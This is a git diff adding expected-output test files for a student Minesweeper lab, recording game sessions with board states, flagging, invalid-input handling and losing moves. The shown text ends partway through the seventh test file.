diff --git a/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper1.test b/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper1.test
new file mode 100644
index 00000000..05abff73
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper1.test
@@ -0,0 +1,29 @@
+>>> main(2)
+Mines: 10
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXXXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 42
+Mines: 10
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXMXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXXXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Uh oh! You blew up!
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper2.test b/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper2.test
new file mode 100644
index 00000000..165bf76a
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper2.test
@@ -0,0 +1,127 @@
+>>> main(7)
+Mines: 10
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXXXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 54f
+Mines: 9
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXFXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 78f
+Mines: 8
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXFXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXFXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 99f
+Mines: 7
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXFXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXFXX 8
+9 XXXXXXXXXF 9
+ 0123456789
+Enter your move (for help enter "H"): 90f
+Mines: 6
+ 0123456789
+0 XXXXXXXXXF 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXFXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXFXX 8
+9 XXXXXXXXXF 9
+ 0123456789
+Enter your move (for help enter "H"): 00f
+Mines: 5
+ 0123456789
+0 FXXXXXXXXF 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXFXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXFXX 8
+9 XXXXXXXXXF 9
+ 0123456789
+Enter your move (for help enter "H"): 09f
+Mines: 4
+ 0123456789
+0 FXXXXXXXXF 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXFXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXFXX 8
+9 FXXXXXXXXF 9
+ 0123456789
+Enter your move (for help enter "H"): 77f
+Mines: 3
+ 0123456789
+0 FXXXXXXXXF 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXFXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXFXX 7
+8 XXXXXXXFXX 8
+9 FXXXXXXXXF 9
+ 0123456789
+Enter your move (for help enter "H"): 27
+Mines: 3
+ 0123456789
+0 FXXXXXXXXF 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXFXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXMXXXXFXX 7
+8 XXXXXXXFXX 8
+9 FXXXXXXXXF 9
+ 0123456789
+Uh oh! You blew up!
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper3.test b/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper3.test
new file mode 100644
index 00000000..775f6931
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper3.test
@@ -0,0 +1,99 @@
+>>> main(5)
+Mines: 10
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXXXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 54
+Mines: 10
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXX1XXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 78
+Mines: 10
+ 0123456789
+0 1XXXXXXX 0
+1 12XXXXXXX 1
+2 2XXXXXXXX 2
+3 2XXXXXXXX 3
+4 1X211XXXX 4
+5 1X1 1111X 5
+6 1X1 2X 6
+7 111 2X 7
+8 11 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 99
+Mines: 10
+ 0123456789
+0 1XXXXXXX 0
+1 12XXXXXXX 1
+2 2XXXXXXXX 2
+3 2XXXXXXXX 3
+4 1X211XXXX 4
+5 1X1 1111X 5
+6 1X1 2X 6
+7 111 2X 7
+8 11 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 67
+Mines: 10
+ 0123456789
+0 1XXXXXXX 0
+1 12XXXXXXX 1
+2 2XXXXXXXX 2
+3 2XXXXXXXX 3
+4 1X211XXXX 4
+5 1X1 1111X 5
+6 1X1 2X 6
+7 111 2X 7
+8 11 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 54
+Mines: 10
+ 0123456789
+0 1XXXXXXX 0
+1 12XXXXXXX 1
+2 2XXXXXXXX 2
+3 2XXXXXXXX 3
+4 1X211XXXX 4
+5 1X1 1111X 5
+6 1X1 2X 6
+7 111 2X 7
+8 11 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 64
+Mines: 10
+ 0123456789
+0 1XXXXXXX 0
+1 12XXXXXXX 1
+2 2XXXXXXXX 2
+3 2XXXXXXXX 3
+4 1X211MXXX 4
+5 1X1 1111X 5
+6 1X1 2X 6
+7 111 2X 7
+8 11 8
+9 9
+ 0123456789
+Uh oh! You blew up!
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper4.test b/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper4.test
new file mode 100644
index 00000000..eceaafa3
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper4.test
@@ -0,0 +1,50 @@
+>>> main(5)
+Mines: 10
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXXXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 100
+Invalid input. Enter your move (for help enter "H"): -100
+Invalid input. Enter your move (for help enter "H"): 8f4
+Invalid input. Enter your move (for help enter "H"): 4561
+Invalid input. Enter your move (for help enter "H"): f43
+Invalid input. Enter your move (for help enter "H"): H12
+Invalid input. Enter your move (for help enter "H"): H
+First, enter the column, followed by the row. To add or remove a flag, add "f" after the row (for example, 64f would place a flag on the 6th column, 4th row). Enter your move: 98f
+Mines: 9
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXXXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXF 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 64
+Mines: 9
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXXMXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXF 8
+9 XXXXXXXXXX 9
+ 0123456789
+Uh oh! You blew up!
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper5.test b/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper5.test
new file mode 100644
index 00000000..40e7a76f
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper5.test
@@ -0,0 +1,255 @@
+>>> main(5)
+Mines: 10
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXXXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 00f
+Mines: 9
+ 0123456789
+0 FXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXXXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 11f
+Mines: 8
+ 0123456789
+0 FXXXXXXXXX 0
+1 XFXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXXXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 22f
+Mines: 7
+ 0123456789
+0 FXXXXXXXXX 0
+1 XFXXXXXXXX 1
+2 XXFXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXXXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 33f
+Mines: 6
+ 0123456789
+0 FXXXXXXXXX 0
+1 XFXXXXXXXX 1
+2 XXFXXXXXXX 2
+3 XXXFXXXXXX 3
+4 XXXXXXXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 44f
+Mines: 5
+ 0123456789
+0 FXXXXXXXXX 0
+1 XFXXXXXXXX 1
+2 XXFXXXXXXX 2
+3 XXXFXXXXXX 3
+4 XXXXFXXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 55f
+Mines: 4
+ 0123456789
+0 FXXXXXXXXX 0
+1 XFXXXXXXXX 1
+2 XXFXXXXXXX 2
+3 XXXFXXXXXX 3
+4 XXXXFXXXXX 4
+5 XXXXXFXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 66f
+Mines: 3
+ 0123456789
+0 FXXXXXXXXX 0
+1 XFXXXXXXXX 1
+2 XXFXXXXXXX 2
+3 XXXFXXXXXX 3
+4 XXXXFXXXXX 4
+5 XXXXXFXXXX 5
+6 XXXXXXFXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 77f
+Mines: 2
+ 0123456789
+0 FXXXXXXXXX 0
+1 XFXXXXXXXX 1
+2 XXFXXXXXXX 2
+3 XXXFXXXXXX 3
+4 XXXXFXXXXX 4
+5 XXXXXFXXXX 5
+6 XXXXXXFXXX 6
+7 XXXXXXXFXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 88f
+Mines: 1
+ 0123456789
+0 FXXXXXXXXX 0
+1 XFXXXXXXXX 1
+2 XXFXXXXXXX 2
+3 XXXFXXXXXX 3
+4 XXXXFXXXXX 4
+5 XXXXXFXXXX 5
+6 XXXXXXFXXX 6
+7 XXXXXXXFXX 7
+8 XXXXXXXXFX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 99f
+Mines: 0
+ 0123456789
+0 FXXXXXXXXX 0
+1 XFXXXXXXXX 1
+2 XXFXXXXXXX 2
+3 XXXFXXXXXX 3
+4 XXXXFXXXXX 4
+5 XXXXXFXXXX 5
+6 XXXXXXFXXX 6
+7 XXXXXXXFXX 7
+8 XXXXXXXXFX 8
+9 XXXXXXXXXF 9
+ 0123456789
+Enter your move (for help enter "H"): 55
+Mines: 0
+ 0123456789
+0 FXXXXXXXXX 0
+1 XFXXXXXXXX 1
+2 XXFXXXXXXX 2
+3 XXXFXXXXXX 3
+4 XXXXFXXXXX 4
+5 XXXXXFXXXX 5
+6 XXXXXXFXXX 6
+7 XXXXXXXFXX 7
+8 XXXXXXXXFX 8
+9 XXXXXXXXXF 9
+ 0123456789
+Enter your move (for help enter "H"): 33
+Mines: 0
+ 0123456789
+0 FXXXXXXXXX 0
+1 XFXXXXXXXX 1
+2 XXFXXXXXXX 2
+3 XXXFXXXXXX 3
+4 XXXXFXXXXX 4
+5 XXXXXFXXXX 5
+6 XXXXXXFXXX 6
+7 XXXXXXXFXX 7
+8 XXXXXXXXFX 8
+9 XXXXXXXXXF 9
+ 0123456789
+Enter your move (for help enter "H"): 54f
+You have already flagged all your mines.
+Mines: 0
+ 0123456789
+0 FXXXXXXXXX 0
+1 XFXXXXXXXX 1
+2 XXFXXXXXXX 2
+3 XXXFXXXXXX 3
+4 XXXXFXXXXX 4
+5 XXXXXFXXXX 5
+6 XXXXXXFXXX 6
+7 XXXXXXXFXX 7
+8 XXXXXXXXFX 8
+9 XXXXXXXXXF 9
+ 0123456789
+Enter your move (for help enter "H"): 45f
+You have already flagged all your mines.
+Mines: 0
+ 0123456789
+0 FXXXXXXXXX 0
+1 XFXXXXXXXX 1
+2 XXFXXXXXXX 2
+3 XXXFXXXXXX 3
+4 XXXXFXXXXX 4
+5 XXXXXFXXXX 5
+6 XXXXXXFXXX 6
+7 XXXXXXXFXX 7
+8 XXXXXXXXFX 8
+9 XXXXXXXXXF 9
+ 0123456789
+Enter your move (for help enter "H"): 22f
+Mines: 1
+ 0123456789
+0 FXXXXXXXXX 0
+1 XFXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXFXXXXXX 3
+4 XXXXFXXXXX 4
+5 XXXXXFXXXX 5
+6 XXXXXXFXXX 6
+7 XXXXXXXFXX 7
+8 XXXXXXXXFX 8
+9 XXXXXXXXXF 9
+ 0123456789
+Enter your move (for help enter "H"): 33f
+Mines: 2
+ 0123456789
+0 FXXXXXXXXX 0
+1 XFXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXFXXXXX 4
+5 XXXXXFXXXX 5
+6 XXXXXXFXXX 6
+7 XXXXXXXFXX 7
+8 XXXXXXXXFX 8
+9 XXXXXXXXXF 9
+ 0123456789
+Enter your move (for help enter "H"): 22
+Mines: 2
+ 0123456789
+0 FXXXXXXXXX 0
+1 XFXXXXXXXX 1
+2 XXMXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXFXXXXX 4
+5 XXXXXFXXXX 5
+6 XXXXXXFXXX 6
+7 XXXXXXXFXX 7
+8 XXXXXXXXFX 8
+9 XXXXXXXXXF 9
+ 0123456789
+Uh oh! You blew up!
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper6.test b/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper6.test
new file mode 100644
index 00000000..cc151933
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper6.test
@@ -0,0 +1,127 @@
+>>> main(1)
+Mines: 10
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXXXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 55
+Mines: 10
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXXXXXX 4
+5 XXXXX1XXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 33
+Mines: 10
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXX1XXXXXX 3
+4 XXXXXXXXXX 4
+5 XXXXX1XXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 66
+Mines: 10
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXX1XXXXXX 3
+4 XXXXXXXXXX 4
+5 XXXXX1XXXX 5
+6 XXXXXX2XXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 47
+Mines: 10
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXX1XXXXXX 3
+4 XXXXXXXXXX 4
+5 XXXXX1XXXX 5
+6 XXXXXX2XXX 6
+7 XXXX2XXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 89
+Mines: 10
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXX2222X 2
+3 XXX1X1 11 3
+4 XXXXX1 4
+5 XXXXX1211 5
+6 XXXXXX2X1 6
+7 112X21211 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 30
+Mines: 10
+ 0123456789
+0 1XXXX 0
+1 1XXXX 1
+2 112222X 2
+3 1X1 11 3
+4 112X1 4
+5 12XXX1211 5
+6 XXXXXX2X1 6
+7 112X21211 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 26
+Mines: 10
+ 0123456789
+0 1XXXX 0
+1 1XXXX 1
+2 112222X 2
+3 1X1 11 3
+4 112X1 4
+5 12XXX1211 5
+6 XX3XXX2X1 6
+7 112X21211 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 71
+Mines: 10
+ 0123456789
+0 1XXXX 0
+1 1XMXX 1
+2 112222X 2
+3 1X1 11 3
+4 112X1 4
+5 12XXX1211 5
+6 XX3XXX2X1 6
+7 112X21211 7
+8 111 8
+9 9
+ 0123456789
+Uh oh! You blew up!
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper7.test b/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper7.test
new file mode 100644
index 00000000..66d3f8e8
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/tests/main_test/minesweeper7.test
@@ -0,0 +1,463 @@
+>>> main(6)
+Mines: 10
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXXXXXXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 34
+Mines: 10
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXXXXXX 3
+4 XXX2XXXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 63
+Mines: 10
+ 0123456789
+0 XXXXXXXXXX 0
+1 XXXXXXXXXX 1
+2 XXXXXXXXXX 2
+3 XXXXXX1XXX 3
+4 XXX2XXXXXX 4
+5 XXXXXXXXXX 5
+6 XXXXXXXXXX 6
+7 XXXXXXXXXX 7
+8 XXXXXXXXXX 8
+9 XXXXXXXXXX 9
+ 0123456789
+Enter your move (for help enter "H"): 78
+Mines: 10
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XXXXX1 2
+3 11XXX21 3
+4 1X2XX1 4
+5 1XXXX21 5
+6 13XXXX1 6
+7 2X2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 37f
+Mines: 9
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XXXXX1 2
+3 11XXX21 3
+4 1X2XX1 4
+5 1XXXX21 5
+6 13XXXX1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 36f
+Mines: 8
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XXXXX1 2
+3 11XXX21 3
+4 1X2XX1 4
+5 1XXXX21 5
+6 13FXXX1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 46
+Mines: 8
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XXXXX1 2
+3 11XXX21 3
+4 1X2XX1 4
+5 1XXXX21 5
+6 13F2XX1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 56
+Mines: 8
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XXXXX1 2
+3 11XXX21 3
+4 1X2XX1 4
+5 1XXXX21 5
+6 13F21X1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 66f
+Mines: 7
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XXXXX1 2
+3 11XXX21 3
+4 1X2XX1 4
+5 1XXXX21 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 54f
+Mines: 6
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XXXXX1 2
+3 11XXX21 3
+4 1X2XF1 4
+5 1XXXX21 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 55
+Mines: 6
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XXXXX1 2
+3 11XXX21 3
+4 1X2XF1 4
+5 1XXX221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 53
+Mines: 6
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XXXXX1 2
+3 11XXX21 3
+4 1X2XF1 4
+5 1XXX221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 54
+Mines: 6
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XXXXX1 2
+3 11XXX21 3
+4 1X2XF1 4
+5 1XXX221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 35
+Mines: 6
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XXXXX1 2
+3 11XXX21 3
+4 1X2XF1 4
+5 1X2X221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 45
+Mines: 6
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XXXXX1 2
+3 11XXX21 3
+4 1X2XF1 4
+5 1X22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 44
+Mines: 6
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XXXXX1 2
+3 11XXX21 3
+4 1X22F1 4
+5 1X22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 25f
+Mines: 5
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XXXXX1 2
+3 11XXX21 3
+4 1X22F1 4
+5 1F22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 23
+Mines: 5
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XXXXX1 2
+3 111XX21 3
+4 1X22F1 4
+5 1F22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 24
+Mines: 5
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XXXXX1 2
+3 111XX21 3
+4 1122F1 4
+5 1F22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 33
+Mines: 5
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XXXXX1 2
+3 1111X21 3
+4 1122F1 4
+5 1F22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 43f
+Mines: 4
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XXXXX1 2
+3 1111F21 3
+4 1122F1 4
+5 1F22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 22
+Mines: 4
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XX1XX1 2
+3 1111F21 3
+4 1122F1 4
+5 1F22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 32
+Mines: 4
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XX11X1 2
+3 1111F21 3
+4 1122F1 4
+5 1F22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 42
+Mines: 4
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XX1111 2
+3 1111F21 3
+4 1122F1 4
+5 1F22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 12f
+Mines: 3
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 XF1111 2
+3 1111F21 3
+4 1122F1 4
+5 1F22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 02
+Mines: 3
+ 0123456789
+0 XXXXX1 0
+1 XXXXX1 1
+2 2F1111 2
+3 1111F21 3
+4 1122F1 4
+5 1F22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 11
+Mines: 3
+ 0123456789
+0 XXXXX1 0
+1 X3XXX1 1
+2 2F1111 2
+3 1111F21 3
+4 1122F1 4
+5 1F22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 21
+Mines: 3
+ 0123456789
+0 XXXXX1 0
+1 X31XX1 1
+2 2F1111 2
+3 1111F21 3
+4 1122F1 4
+5 1F22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 31
+Mines: 3
+ 0123456789
+0 XXXXX1 0
+1 X311X1 1
